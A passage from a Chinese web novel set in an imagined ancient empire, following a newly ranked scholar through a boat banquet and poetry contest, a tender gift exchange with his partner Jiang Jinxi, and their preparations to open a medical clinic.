宋申闻是长辈,宋泊就算心底不喜欢他,面上的功夫也得做好。宋泊站与位前,抬手与宋申闻行了礼,宋申闻排名不高,已然觉得自己低宋泊一头,他面上带着笑,起也未起,坐着回了宋泊的礼。 其他秀才瞧着宋泊来了,纷纷起身与宋泊打招呼,宋泊可是榜首,未来的亮眼星星,与他打好关系只有好处没有坏处。 “我知晓吴公子画技好,不知何日可有眼福瞧着?” “有幸听过李公子写的诗,当真写得极好!” “杨公子会弹琴吧,弹琴入门简单精进可是难呀。” 既知今日宴请秀才,宋泊便做好了功课,成了秀才,便踏入官场之中,人际关系便需用心维护,听宋泊说出他们各人特长,三人互相看了眼,心中喜悦但未表现出来,而是道:“宋榜首谬赞,你才是才识具备,可谓我辈楷模。” 李公子瞧着坐在位子上的宋申闻,说:“我听说你与宋公子是叔侄关系,这宋家可厉害了,一年两人中了,要兴旺发达了。” 宋申闻这时站了起来,朝三位公子行了礼,说:“李公子说得是,你也是一次就中,未来可期。” 五人正说着话,林武玉在这时带着官员们进来了,大伙儿便站于原位,一同朝官员们行礼。 “今日是庆贺你们中榜的喜宴,你们才是主角。”林武玉哈哈笑着回了礼。 宋泊回到自己的位置坐下,桌上摆了盘坚果拼盘和一盘糕点,为了让宾客垫肚子,不过官员们未动手,宾客们也不好先动手,故而大家桌上的东西都一动未动。 林武玉坐好后,说了几句场面话,便让人上菜,舞姬也应声上场。 宋泊能觉着脚下地板一动,当是船启动往湖中开去了。 厅中乐声起,舞姬翩翩起舞着,宋泊还是头一回参加这般正式的宴会,也是穿到这儿以来,第一次瞧着舞姬。 这般看过舞姬的舞,宋泊才知为何历史中会出现昏君,每日歌舞升平,在权利最高点的帝王自然喜欢。 不过宋泊除了舞好看这个念头以外,再无其他想法。 菜品还需准备,要些时间,宋泊也是饿了,拿起桌上的糕点尝了下,他不喜甜,这糕点江金熙应该喜欢吃,等会走时带上些回去给他尝尝。 舞姬们抹了胭脂细粉,身上喷着香水,味道虽不是很重,可捱不住她们与宾客互动,宋泊便被舞姬的红绸晃了下,打了个喷嚏。 还好后头侍人上了菜,菜的味道盖去了香水味,才让他好受些。 今日上的都是南方菜,传福镇这边喜吃淡,上的菜全是清淡款的,厨师是船上自配的,手艺厉害。既做游船生意,自得照顾着宾客,游船时间不短,宾客总会肚子饿,这艘船便是因着船上菜品好吃,才受官员们的喜爱。 林武玉怕大家拘着不敢动筷,便先一步动了筷,有他领头,大伙儿都放开了手脚。 宋泊还饿着,虽说他刚刚吃了个糕点,可这糕点却不扛饿,吃下去与未吃没差,现下林武玉已然动筷,宋泊也就没有客气了。 传福镇临水,河鲜、海鲜极多,侍人端上的八盘菜中有五盘与海鲜、河鲜有关。 宋泊先喝了碗汤,随后才端碗吃饭,菜品数量多、分量少,倒也适合一人食。林武玉也是花了大价,螃蟹、鲍鱼、龙虾等名贵鲜物都在桌上出现,宋泊再次后悔没带江金熙来赴宴。 饭后的聊天才是宴会的重头戏。 林武玉有意想展示秀才们的风采,便说着:“今日文人雅士齐聚一堂,大伙儿可得展示展示,飞花令如何?” “好啊!”余县尉坐在林武玉身侧,听到这话瞬间应着。 宋申闻可是他的女婿,若是能赢得着飞花令,他面上也有光。 “那便由我起个头。”林武玉起身,豪言道:“花落碧湖映成趣!” 宋泊离得最近,自由他接第二句,“藕花拂面人喜气。” 八月正是荷花盛放的季节,入厅前宋泊在外头看风景时便瞧着许多花瓣尖儿粉嫩的盛开荷花,再加着今日是秀才的贺喜宴,这诗句做在这儿算得上恰到好处。 “好啊。”李公子听着宋泊的诗句,忍不住鼓起掌来,宋泊排在林县令后头,思考时间又短,能做出这句诗已是厉害。 “到你了。”宋泊往后道。 吴公子接在宋泊后头,“细嗅花香如梦境。” 吴公子的强项并不在作诗,这诗只是勉强对上,大伙儿也没为难他,下一位杨公子也是做了句平平无奇的诗句,轮着李公子才叫人期待。 “忽闻波涛花境清。”李公子按着大家的诗句往下做,只一句便赢得大家掌声。 吴公子轻点头,“不愧是李公子,就是厉害。” “不过我觉着宋榜首写得也不错,难分伯仲。”杨公子道。 余县尉见大家讨论得起劲,咳嗽了声,提醒道:“到你了,申闻。” 宋申闻这才说道:“原知吾处船花中。” 若无前头李公子的玉,倒也中规中矩,只是有李公子在,宋申闻这诗便显得有些班门弄斧,光芒暗淡了。 秀才们都做完了诗,林武玉问着后头参宴的文人:“真是各有千秋,大伙儿便评评,谁的诗好,最差的人可得罚酒喝。” 来参宴的文人不过十人,但因着都是爱文爱诗之人,讨论起来倒也激烈。他们都喝了些酒,这酒精上头一讨论起来,声音难免大了起来。 “要我说,就得选宋榜首,一位出场作诗极快,可不就是第一名。” “还是李公子吧,他多年作诗,今日这诗作着超出以往水平了。” “确实难选啊” 宋申闻他听着讨论声都没有他的名字,藏在桌底的手不由得捏紧了几分。就是宋泊在,风头才会都被他抢了去。 秦令问秦闻:“爹,怎么没人选申闻的诗句?” 他们俩坐与席中后位,是受邀参宴的文人,讨论谁为第一谁为最后他们也参与其中,秦令没说话一直在边儿旁听,听来听去却未听到一句“宋申闻”。 秦闻也不委婉,直言道:“他的诗句在这儿不够看。” 作诗讲究意境,前头人作得再差,也把意境烘托了起来,而宋申闻不知是紧张还是何故,排在最后一位,思考时间最长,作出的诗句却只是简单地向下接着,这让随便一个文人来都行,并不特定得是宋申闻。 宋泊是胜在反应能力,而李公子却是赢在把读者从前头梦境拉入现实,两人的诗各有特点,故而大伙儿选不太出来。 “我觉着申闻的诗挺好啊。”秦令小声地嘟囔了一句。 秦闻离他近,自听到秦令的小声话,他顿时觉着自家儿子的科举之路还要走很久,他用心用情教了他那么久,现在却连最基本的赏诗都不会了,秦闻不自觉带上了些气,“回去以后把诗集抄上百遍。” “为什么啊。”秦令不解。 “诗句好坏你都分不清,我看你是想要被我关在家中严训了。”秦闻压了声道:“等会儿林县令问谁的诗句好,你可得给我静悄悄的。” 第109章 第一百零九章钱袋。 林武玉面上带笑,他轻轻拍了两下桌子上,“大伙儿讨论了这么久,可有个确切消息了?” “我们以为宋榜首与李公子所做之诗难分上下,应都为一位。”一位文人站起来说道。 “如此也行,那末位呢?” “另三位秀才所做之诗虽不及宋榜首和李公子,却也没有末位之分,在我们看来,这诗少一句都成不了。”文人斟酌了下,一碗水端平。 这般说来,谁也没得罪。 “好,那便大家都赏。”林武玉拍了拍手,有侍人拿着毛笔进厅,宋泊和李公子的毛笔较好,另三人稍微差些。 余县尉见林武玉高兴,便附和着:“咱们传福镇有了这五位才子,以后只等听喜讯就是。” 宋申闻没指望上,余县尉便换了个方向,瞧着林武玉挺喜欢宋泊,他夸道:“宋榜首心思活络、腹满文墨,往后定然成为明星。” 余县尉的声音不小,厅中人都听着了。 宋申闻听着这话,心中越发不悦,连带着看那赏品毛笔都觉着碍眼许多。他读书的时间比宋泊长得多,为何现如今却是宋泊出了名。 秦令挪了下屁股,似想起身,却被秦闻按住了,“你若是敢说话,往后就别叫我爹。” 这话实在严重,秦令握紧拳头,坐回位上。 宋泊双手捧起毛笔,这笔质量不错,虽不及从秦令那儿赢得的毛笔,但品质已是中上成。 “多谢林县令。”宋泊起身,谢道。 其余人跟着宋泊一起起身,也谢了林武玉。 林武玉心中满意,这宋泊既有文采又深谙人际之事,定不容小觑。 又过了两轮飞花令,大家都喝了酒,正尽兴时,林武玉让大家出厅。 现在夜幕正浓,边儿有其他的船只开着灯笼,再加着这艘船本来有的灯笼,灯火明亮,照着河面有种朦胧的美感,河面上莲花朵朵,船只就在荷花中停着,偶尔还能听着鱼儿扑通的声儿。 忽然,一朵烟花在天空中炸开,发出绚烂的光芒。 紧接着一朵又一朵烟花闪烁在空中,耀眼夺目,实在好看。 虽说烟花好看,但其价格昂贵又非必需品,故而百姓们大多不会购买烟花,烟花的买方基本都是官府。今日这场烟花秀,应该就是林武玉买来祝贺他们中榜的。 距上次看着烟花已经年余,再亲眼瞧着烟花总令人心潮澎湃,不知江金熙现在有没有在街上,有没有听着烟花声响而出来看烟花。 思及此,宋泊再次后悔没有带江金熙来赴宴。 尽管江金熙肯定见得比他多,但他总是想与江金熙一起并肩赏烟花的。 烟花过去,大伙儿又聊了会儿,这席便散了。 临了走时,宋泊让侍人帮着将糕点打包起来,林武玉正巧看着,他问:“打包宴会糕点,可不怕别人觉着你寒酸?” “觉着便觉着。”宋泊转过身正朝着林武玉说道:“这糕点不比寻常,或许只有船上有得买,而我又想让金熙尝尝,故而出此下策。” 这船大部分时间都由官府承包着,宋泊还是平民,哪儿有机会常上船来,而这糕点带着淡淡的荷花香,造型讨巧不说,味道也不错,他当然想带给江金熙尝尝。 “赴宴也想着江公子,想必宋榜首可是爱他极深。”林武玉笑着道:“办喜宴那日务必记着我。” “那是自然。”宋泊道。 宋泊回到家时,简言开了门,“郎君可回来了?”宋泊问。 “还未。”简言答。 今日宴席结束得早,现在也不过戌时六刻。 只是没想着江金熙这一出门便出了快六个时辰,宋泊把糕点拎到主卧房放着,人去了书房。 亥时三刻,外头有了动静,当是江金熙回来了,宋泊搁下手中的书,正打算出去就听着有人敲了他的书房门,宋泊立即从位子上站了起来,大步跨着打开了门。 门口站着的就是江金熙。 “今日宴席好玩儿吗?”江金熙歪着脑袋,双眼亮如星辰。 “好玩儿也说不上,就是有些好吃、好瞧的东西。”宋泊答着,伸手牵住江金熙放在身侧的手,“好瞧的我是带不回来,好吃的我给你带了些。” 江金熙任由宋泊牵着他,把他带到卧房,路上他问,“好瞧的可是说的烟花?” 他刚刚在李五家时便听着外头有放烟花的响声,他还特意断了手里的活儿,与阿篮和阿篮的朋友一起出了院,虽说有些建筑挡着又离得有些远,但他还是瞧到了一二。 “不止。”说道这儿宋泊可就有了些怨气话想说,“你怎么天天去李五家呢,我想带你一块儿赴宴都找不着你。” 这话听起来实在委屈,江金熙没忍住轻笑出声,“谁家醋坛子翻了,这般酸?” 跟自家恋人在一块儿无需顾及什么脸面,宋泊改牵为揽,他揽住江金熙的手臂,像条大狗般贴着他道:“就是醋了,哪儿有人天天丢着自己恋人不管的。” “好好好。”宋泊这八尺身高的大男人还会缩成一团撒娇,江金熙的笑声越发大了起来,“明儿就不去了,专门留家中陪你。” “真的?”宋泊问。 “真的。”江金熙点头。 这下宋泊高兴了,说起船上美景来,“可惜你未与我一道儿去,你定会喜欢船上风景的。” “后头不是还有考试吗?你再得个榜首,林县令再请你一次,我就有机会去瞧了。”江金熙说着。 “我哪儿那么厉害,说榜首就榜首了。”宋泊笑道。 两人说说笑笑回到卧房,打开门,宋泊先一步跨进卧房,走到房中央的圆桌边,打开桌上放着的食盒。 江金熙把卧房门关上,跟着走到桌边,他弯着腰往食盒内看,道:“带了什么?” “船上的糕点。”食盒打开,里头放着五个圆润的荷花样糕点,宋泊说:“我觉着你应当会喜欢,便都带回来给你。” “这糕点长得真好看。”江金熙拉过椅子,示意宋泊坐下后他也跟着坐下,他轻拿起其中一块,放在鼻子边闻了闻,荷花香淡入鼻中,江金熙仿佛置身于荷花池中,“好香呀,你尝过了吗?” “尝过了,合适你吃。”宋泊说着,两手搁在桌上,期待地瞧着江金熙。 江金熙启口,轻咬下一口,糕点甜而不腻入口即化,确实是他喜欢的款儿。他虽爱吃甜食,却不爱吃齁甜的、齁香的,这荷花糕正好合适。 “你可是了解我了,知道这个我爱吃。”江金熙答。 不过再喜欢吃,现在也晚了吃不了太多,只吃下两个荷花糕,江金熙便把食盒关上,他去外头洗了个手,重新回来,“今儿我也有东西送你。” 宋泊的耳廓轻摆一下,“什么东西?” 江金熙从怀中拿出个钱袋,捏在手中时还有些害羞,他脑中思绪飞转,最终还是送人这个想法更超一层,“我瞧你的钱袋已经旧了,便、便给你做了个新的。” “真的?!”宋泊睁大双眼,古代送礼的最高标准可就是自己做的东西,宋泊没想着自己能收着江金熙亲手做的礼物,他高兴地抬起双手,两手并在一起,掌心朝上。 “真的。”江金熙把钱袋放在宋泊掌心之上。 宋泊小心拿着钱袋看起来,这钱袋大了些,上头绣了荷花和祥云,只是绣者大抵手艺不精,针线走向有些混乱,绣线也不紧密,拿去市集上卖只会被嫌弃。 “这是你绣的?”宋泊问。 江金熙自知绣活不好,这几日一直上李五家,便是向阿篮的朋友学习绣活,阿篮本身也不会绣活,但她有个朋友是在市集卖钱袋、香囊的,那手艺自然厉害。她与江金熙说的技巧,江金熙都记得,可知道理论与自己上手并不是一回事,知道从哪儿出针穿线,再从哪儿入针走线,可最后绣来却只是有个形,实在称不上好看。 “要不你还是还我吧。”江金熙脸上漫起红晕,他话音落下就想来抢,却被宋泊一手拉着手腕,往怀中带去。 宋泊的双手从他肩膀上而过由后往前地环着他,“这可是独一份的钱袋,送与我了哪儿还能再拿回去?” “可这绣得实在”江金熙道。 “我就喜这种。”宋泊摩挲着钱袋上头的线,这可是江金熙一针一线绣出来的纹样,当是世上无价之宝,他定会仔细爱护。 不过既然江金熙不会绣活儿,绣这钱袋肯定难免被针扎着。 “你的手可有被针扎着?”宋泊问。 “没有。”江金熙答。 宋泊不信,让他抬起手来,右手执针确实未有针孔,但左手食指上却有些几个的小红点,一看便是扎针留下的伤口,宋泊一阵心疼,道:“为了给我绣个钱袋,给自己扎了这么多个小口,这哪儿值得。” 做手工难免受伤,宋泊知道这点,若是绣一个钱袋要挨那么多次针扎,那他还不如不要那个钱袋。 “不疼,都是小口子,过几日就瞧不着了。”江金熙答,“前几日扎得多,今日我熟悉了,一次也没扎着,可是厉害了?” “厉害了。”宋泊说着,牵起江金熙的左手,轻吻了下那被针扎的食指,“只是下回莫要再做了,伤口不大总归是伤,我心疼的。” 江金熙侧面看着宋泊,宋泊的脸离他极近,眼中的心疼都快漫了出来,江金熙心软,蹭了下宋泊的脸,道:“好,那我下次便做些不伤手的东西送你。” 第110章 第一百一十章开店。 翌日,趁着江金熙还未上工,宋泊与江金熙由阿朝驾车带着上了霞县。州府给的五亩地得去瞧瞧,看看是农地还是什么别的地,好做打算赚些钱填补家用,虽说成了秀才免了一成赋税,但读书花销不少,还是需要有些进项。 今日天气不错,空中云层将太阳遮着,热气散去一些,没那么热适合出行。 从传福镇去往霞县的官道平整,江金熙将车窗帘掀开固定在车窗框上,他们出发的时间早,阳光不烈,风中还有些清晨的凉气,吹在面上十分舒服。 江金熙背靠车厢,问宋泊:“对那五亩地你可有什么想法?” “若是田地就找些佃户来种,若是商铺就做些生意,若是宅院就租出去好了。”宋泊牵起江金熙的手放在手中,“我希望这五亩地是商铺。” “为何?”江金熙道。 “若是商铺你就可以来霞县开医馆,我就能日日瞧着你了。”宋泊道。 上半年他月月只能见着江金熙两日已是折磨,接下来还得在县学中再待上一年,才能靠着乡试,这般算来,加上春节假期,他一年至多只能见着江金熙一月时间,这让他怎么遭得住。 他们可是恋人!哪有恋人与他们相同天天见不着面。虽说读书重要,可见不着自家爱人总是心想,也挺闹心的。 “说到底就是想我了。”江金熙笑道。 “那当然会想的。”宋泊道:“你难道都不想念我吗?” “当然是想的。”江金熙捏着宋泊的指尖,每次从愈馆下工回到家中,见着宋泊的书房暗着灯,心中总升寂寥之感,再回到主卧房一人睡在床上,夜似乎难熬许多,“我自然也希望是商铺,又可以赚钱填补家用,还能离你近些想见就见。” 在宋泊和江金熙的期望下,愿望成了真。 到霞县,两人顺着地契寻去,确实是一间商铺,这商铺位置极佳,处于霞县县中心的外围,离县府近,离百姓们的平民区也近,五亩地占地不大,但做个小生意却绰绰有余,从外观瞧来,这商铺建成不久,外观还带着几分新,这般好的商铺不应被官府拿来当赏赐,大抵是原主家发生什么事,这商铺被官府收去,这才让宋泊捡了个漏。 阿朝把马车的踏脚拿下来,宋泊先一步下马车,随后转身让江金熙牵着他下车。 两人站在商铺前头,商铺大门被一把铁锁锁着,宋泊从怀中拿出钥匙,从右往左将钥匙插入锁孔中,咔哒一声,锁便被打开了。 宋泊让江金熙后退些捂住口鼻,他一把推开铺门,门一开,商铺内的灰尘飘了出来,关得越久,里头灰就越多,门开了解放出来,还带着一股霉味,实在不好闻。 尽管宋泊开了门以后及时退后还捂住口鼻,但还是被灰尘熏了去,打了好几个喷嚏。 江金熙从怀中拿出帕巾给宋泊擦鼻子,面上瞧不见的灰尘都被擦去,宋泊才恢复平静,没有继续打喷嚏。 两人站在商铺外头,等灰散去些后,才跨步进了商铺。 原主家或许真的发生了什么事儿,商铺内一件器具也无,空空如也,这商铺只留下个空壳。 宋泊先将商铺内的所有窗户都打开来,让阳光从外头透进来,杀杀菌。 江金熙在商铺内走了一圈,五亩不大,前院开店的地儿一会儿便走完了。 “我觉着这地儿用来开个小医馆倒也合适。”江金熙说。 一来医馆需要建在人群集中之地,二来医馆无需太大的地儿,有个放药柜、放医床的位儿足矣。 “你觉着合适,我们就商量商量、着手准备。”宋泊道,他没有经商的头脑,做做学问还成,让他开店确实专业不对口。 “我觉着应当可以。”江金熙道。 商铺内没个椅子不好说事,两人在商铺内待了会儿,便启程回传福镇。 回到传福镇,宋泊陪着江金熙去了愈馆,开医馆这事儿还需愈馆支持,自得去与宋师傅商量商量。 “在霞县开医馆啊”宋师傅摩挲着下巴。 江金熙是个学医的人才,这半年在愈馆内他新学了不少技术,独自开医馆已然够格,“这倒也是个法子。” “只是我们未开过店,这才来问问宋师傅的意见。”宋泊道。 愈馆最初只有宋师傅一人,现在馆内大夫、药师不少,连着店铺也从一层变成三层,这都是宋师傅经商有方,才能一步步做大做强。 “我倒是能给你些意见。”宋师傅道。 开店铺最重要的便是商品质量,医馆与其他商铺不同,最重要的便是医术,若是药到病除,医馆只会越开越大,故而大夫的水平就显得尤为重要。 “吴末跟了我许久,是个行医高手,我让他与你同去医馆,这店儿便能开下去了。”宋师傅道。 宋泊与江金熙两人对视着,都从对方眼中瞧见了惊讶。 吴末是愈馆的支柱人物之一,宋师傅豪言一说便将吴末派到他们医馆上来,这可是个天大的助力。 江金熙不确定自己的耳朵,再问:“您是说让吴师叔来吗?” “是。”宋师傅对自己这个决定十分满意,江金熙是他喜爱的徒孙,吴末又是他所有徒弟中除宋茶栽以外最厉害的,由他去帮助江金熙把医馆开起来,也是情理之中,“只是那薪钱就得由你出了,你吴师叔可是厉害,少钱请不动他。” “那完了,店儿刚开始肯定没有薪钱的。”江金熙说。 “无妨,*我们给他分红就是。”宋泊道。 吴末若是来帮江金熙,那定然不能给人家普通员工的待遇,怎么说也得分上三分分红,剩下七分,四分给江金熙,三分为店内流转资金。 “那我问问吴师叔。”江金熙道。 宋师傅将吴末唤了上来。 “师傅,可有何事?”吴末问。 其实宋师傅把吴末唤上来以后便可走了,但他也想这事儿能成,便还坐在里头,吴末看着他的面子,应该不好拒绝。 “是这样的吴师叔。”江金熙起了身,给吴末搬了把凳子,边搬着边把之前他们说的事儿说了出来。 “可以啊。”吴末答应得很快,“这可是宋榜首名下的店铺,还有江丞相的哥儿坐镇,生意定然差不到哪儿去,三分分红也够我大赚一笔了。” 宋泊倒是忘了古代的名人效应,他成为宋榜首,百姓们天生着就会对他多几分敬佩,他名下的医馆,百姓们也更乐意来,毕竟有个名头在这儿,出了事不至于无处寻人。 如此便这般定了。 开医馆第一件事便是得定名去州府内登记,三人一商讨,取了个简单的名儿,百安馆。 馆中无任何器具,还得出去采购一番,开医馆自然得要有草药来源,还得去找合适的药商,这些事忙活下来,百安馆还没开起来,日子已经到了八月三十一日,明日宋泊就得重新回到县学当中。 “你去县学以后,别担心百安馆的事儿。”江金熙说着,百安馆现在还不能住人,他与吴末便订了客栈住,先订了一月,因着是个大客户,所以房金低些,他们现在身上可有两百两,付个房钱绰绰有余。“有吴师叔和青桥帮我,我猜九月底就能开业,到时正好遇着你休息,你来剪彩。” 宋泊知道江金熙能干,把这活儿全权交与他,他自也是放心的。 宋泊牵起江金熙的双手,道:“百安馆晚些时候开也成,你可别累着自己。” “我知的。”江金熙抬眸看着宋泊,面前这人比初次见面成熟不少,两人一起经过许多事,二十出头的年纪却沉稳得让人可以安心依靠,江金熙上前一步,脑袋靠在宋泊的胸口处,双手从前穿过腰侧环住宋泊的腰。 宋泊很少有时间可以运动,之前搬货练成的肌肉悄悄褪去不少,他也意识到此事,但县学中空闲时间极少,他只能硬挤出两刻钟时间,在县学中简单跑步锻炼身体。 江金熙主动靠近,宋泊心如流水,他揽住江金熙,脑袋微斜,面儿贴着江金熙的秀发,“遇着什么事就来县学找我,我会帮你解决的。” “嗯。”江金熙点头。爹爹远在京城帮不上他的忙,开店这么大个事儿,他本该害怕,就是因着有宋泊陪在他身侧,他才觉着自己行。 “你也别老念着我。”江金熙身子稍稍往后撤了些,他抬起头来,在宋泊的下巴处轻轻一吻,“好好读书,下回乡试一举拿下,我还等着你娶我呢。” “收到,我定全力以赴!争取明年秋闱后能拿着乡试成绩上门提亲。”宋泊双手捧住江金熙的脸,江金熙整个脸嘟嘟的,看着非常可爱。 “那我就等着啦。”江金熙也不生气,就着这个姿势笑着揽着宋泊,眼睛弯弯如月,说话声因着脸变了型有些模糊。 宋泊只觉一只小鹿落进他心头一顿乱窜,让他心动不已,按理来说他们的热恋期已经过了,现下到了平静期,可宋泊却觉得他们的感情还在不断升温,每日的他都会比昨日的他更爱江金熙。 宋泊微微低了头,两人的额头抵在一起,眼眸中只有对方的声音,宋泊低沉着声,说:“糟糕,我想我离了你不行了。” “离了我不行,那便不离,我总会在你身旁陪着你的。”江金熙微微笑着,脚尖一点吻上宋泊的唇,这吻温柔到极致,没有情欲在只有藏也藏不住的爱意。 110-120 第111章 第一百一十一章药商。 九月一日,重回县学的第一日。 县学中出了榜首,这事儿可得庆祝一番,连教谕特意腾出一日来,在县学中办了个小宴,宴席中连教谕多次喊到宋泊,宋泊这是彻底在县学中成了名人。 白日办宴,晚上便空出来让大家整理行礼。 半月多未见路砚知,再见着时路砚知好像比之前胖了些许。 “自上榜以后,天天都有人请吃饭,一会儿上姑姑家,一会儿上叔叔家,要不是开了学,我今日还得去我三表哥家。”路砚知边整理自己的东西边说着。 一月没待在宿舍中,床铺上的东西都得换成新的。 路砚知把新被单从行囊中抽出来,露出底下的锦盒,他把锦盒拿出来,走到宋泊面前,“对了,这是我爹要我送你的礼物。” 宋泊刚换好新床单,正把旧床单折起来时,听着路砚知这般说,他问:“给我的?” “是啊,我回去跟我爹说了你的事儿,我爹一直要请你吃饭、给你送礼,我想着你在传福镇应当与江公子在一起,便不想打扰你们,最终我爹便叫我把这礼端来学校里。”路砚知道。 “你没与你爹说你已经送过礼了吗?”宋泊问。 他只是教了路砚知一些应试技巧,能考中上榜完全是路砚知自身的本事,收路砚知一次礼已经足矣,再收一份可就是有些贪得无厌了。 “说了。”路砚知把锦盒放在宋泊的书桌上,“不过我觉着上次我给的礼不够,加上我爹这份正好。” “不,你收回去,我已经收了你一份礼,不可再收一份。”宋泊把锦盒推了回去。 两人推脱来推脱去,终是路砚知说不过宋泊,他道:“若你不收,便当我欠你个人情好了。” 听着这话,宋泊忽而想起了江金熙的百安馆。 百安馆说到底也是个商铺,路砚知又是商贾之子,经商的事儿问他应该能有一些收获。 “正巧,我现在便有事想问问你。”宋泊说。 路砚知正收着锦盒,听到宋泊这么说,他耳廓一摆,锦盒也不收了,直接三个大跨步,兴奋地坐在宋泊面前。 在路砚知心中,宋泊可是有广大神通,这般人竟有事儿问他,这可是件大事。 路砚知期待地瞧着宋泊,“你尽管问,我定知无不言言无不尽。” “你可有认识的药商?”宋泊问。 路砚知的家族在传福镇扎根许久,根深蒂固是个商贾大家,家族中的上一辈都是做生意起家,下一辈就出了他个秀才。这生意做得久,便知传福镇中哪些商人信得过,哪些商人信不过,江金熙要把医馆开起来,可靠的合作药商可是必不可少。 “这你可问对了呀!”路砚知高声道,“我三姑便是做草药生意的,我可以将她介绍给你。” 忽然,路砚知想着问药商可不是什么好事儿,他问:“可是你哪儿生病了?” “没有。”宋泊笑道:“是金熙要开个医馆,所以才问问你有没有熟知的信得过的药商。” “原来如此。”路砚知快要飞出来的心又落了回去,“明日我便送信出去与我三姑打个招呼,你只管让江公子去找我三姑就是。” 路砚知的动作很快,白日托县学中的杂役送信出去,夜了便收着他三姑的回信。他为了让这事儿能成,特意在信里说着是宋泊的夫郞要开店,反正宋泊和江公子总是要成婚的,他这般写着也不算有错。 路砚知院试上榜全家都高兴,再加上院试后的半个月,路砚知逢人便说他的室友宋泊不仅是榜首,而且帮了他许多,故而家中人虽未见过宋泊,却都把宋泊当做了路砚知的贵人。因此,路砚知的三姑一知是宋泊的夫郞要开店,想也没想就同意见一面。 每日午时,江金熙就会把吃食拿到县学门口,县学允许家中人送餐,却只开放午时初至午时一刻这段时间,所以江金熙只能在中午时给宋泊带份午餐。 现下正值九月,中午一次带两餐沉了不说,晚餐从中午闷到晚上定馊了去,两人一合计,便商量出中餐由江金熙带来,晚餐还是在县学食堂吃。 午时,太阳正烈,就算江金熙撑着一把伞,脸上还是被热出了薄汗。 江金熙走到县学门口,宋泊道:“可是热极了?” “是呀。”江金熙把饭盒递给宋泊空出手来从怀中掏出个手巾把自己脸上的汗水擦去,“百安馆里放了冰,待起来舒服,我这走出房来,都觉着要热化了。” 宋泊接过江金熙递来的饭盒,道:“这般热你便早些回去,莫耽搁了。” 县学虽说是官学,却也没那么有钱,一个班几十人,却只有四角安置了冰盆,居于中间的人被团团包着,只得自己拿着扇子扇风。不巧,宋泊便是坐在中位之人,今日刚坐一早晨便被热得够呛。 也是在中间被闷着惯了,走出来也没觉着温度差多少。 “没事,每日只能瞧着你一刻时间,我可舍不得少了一毫一分。”江金熙笑着道:“这儿不是在檐下吗,没那么热,我还受得住。” “那也好。”宋泊当然也想多看看江金熙,自不希望江金熙送了饭就走。 “对了,药商找到了吗?”宋泊问。 医馆内装修、添器具都是小事儿,就是这合适的药商一直未找着有些愁人,他们对霞县不熟悉,这几日都忙着跟百姓们打听消息,药商除了与医馆有关,还与百姓们有关,哪家药好用且便宜,只有病患本人知道。 几日问来,大抵有三个人选,江金熙与吴末商量着,准备一个个拜访过去。 “如此我与你推荐个人。”宋泊道。 “何人?”江金熙问。 “路砚知的三姑,她是做药商的,在县东开了间草药堂,路砚知已经打过招呼了,你可以直接去寻。”宋泊道。 恒国以东为卑、西为尊,故而城东是平民聚集的地儿,平民的消费能力有限,所以开在县东的店铺价格大都低廉。 江金熙开的医馆以平民百姓为主,贵族世家大多有私人大夫很少到医馆中来,而平民百姓生了病只能上街求医,求医拿药又是一笔不菲的支出,所以江金熙想尽可能地将药钱降下来。 “真巧了呀!”江金熙双手抓起宋泊空着的左手,紧紧握在手中,“我与吴师叔问来的三人之中,便有她,因她离我们的百安馆最近,所以今儿个我们便打算过去拜访呢!” 江金熙与吴末问了百来人,半数以上都提过路三姑,他们与路人打听以后知她开的店就在县东,离他们不过一刻钟路程,便打算今日阳光小些就上门拜访。 “那可好了。”宋泊被江金熙的情绪感染着,也跟着笑起来,“可记得带些东西去。” “我知的。”江金熙道。 一刻钟时间稍纵即逝,宋泊就算再不乐意,县学中管开门的杂役还是会准时将门关上。 拎着饭盒,宋泊上了食堂。 路砚知比宋泊早些时候到食堂,他抢了个位置坐着,瞧着宋泊来他高举着手,“这儿这儿!” 路砚知一脸好奇地瞧着宋泊,“今日可是江公子第一次给你带饭,感觉如何?” “感觉很好。”宋泊如实答道,有人送饭与自己到食堂吃饭确实是有区别的,就算江金熙拎来的饭并不是他亲自做的,他也甘之如饴。 宋泊将饭盒一层一层打开,这盒子是江金熙特意买的,为的就是能每日给宋泊送饭。 县学每日只开门一次,江金熙便买了两个一模一样的饭盒,这样午时他能带个干净的来,带个脏的走。 “江公子还是心细,居然给你带了果子饮!”路砚知瞧着宋泊端出来的菜品,牙咬在筷子上,可是心生羡慕。 果子饮冰凉,正是清凉解暑的好饮品,江金熙许是怕送来时不凉了,特意多放了些冰块在里头,宋泊开启底层餐盒时,还能觉着丝丝凉气。 “往后你有了爱人,也能有这般待遇。”宋泊说道。 明明江金熙不在食堂之中,可路砚知就觉着自己好像吃了口什么,有些亮眼。 宋泊坐在路砚知对面,两人吃着饭,有一搭没一搭地聊着天。 路砚知今日吃的饭还是魏关送来的,他的承诺还未完成,还得再送上个百天饭才行。 宋泊吞下一口饭,说道:“对了,我已经与江金熙说过了你三姑的事儿,他今日便要去拜访。” “那感情好啊!”路砚知着急说话,刚夹的肉随便嚼了两口便咽下去,这般心急的后果就是被噎着,说不出话来。 见着路砚知双手乱晃却无法言语,宋泊赶紧从位置上起来,这时候也顾不着什么礼貌问题,他一把拎起路砚知,站到他的身后,宋泊找着路砚知肚脐上方两指的位置,一手握成拳头,另一手包住拳头用力朝后上方使劲,几次来回,路砚知才把喉中的肉呕了出来。 路砚知双腿脱力跪倒在地上,道:“我还以为我要死了。” “下次吃东西细嚼慢咽,可不是每次都有我能救你。”宋泊沉声道。 古代医疗条件不佳,被食物噎住来不及救治而死亡的人不在少数,宋泊当路砚知为朋友,自不想看他因意外殒命。 往日的宋泊总是温润儒雅,路砚知还是第一次听着宋泊用这般语气与他说话,他双手撑在地上,悄悄挪眼偷瞄宋泊,却发现宋泊正垂眸看着他,看着便心情不佳。 路砚知被吓着,又挪眼回来,小声说了句:“对不起,下次我定细嚼三十次再吞下。” 第112章 第一百一十二章开店准备。…… 申时中,这个时间既不早也不晚,气温不会太热,去路三姑的店儿正合适。 传福镇宅子的租期已到,既打算在霞县发展,宋泊和江金熙便将那宅子退了去,举家搬到了霞县,连小狗儿常乐也一块儿带到了霞县来。 五亩地不大,但胜在分为前厅、后院,后院占了三亩,还有已经分好的房间,可以供他们一家子住在店中,常乐已经被简言训练着学会了看家的本领,它不会随意咬人,只有那种偷偷摸摸一眼便瞧着不似好人的人,才会挨常乐的咬,因此常乐便被放到了前院,守着医馆大门。 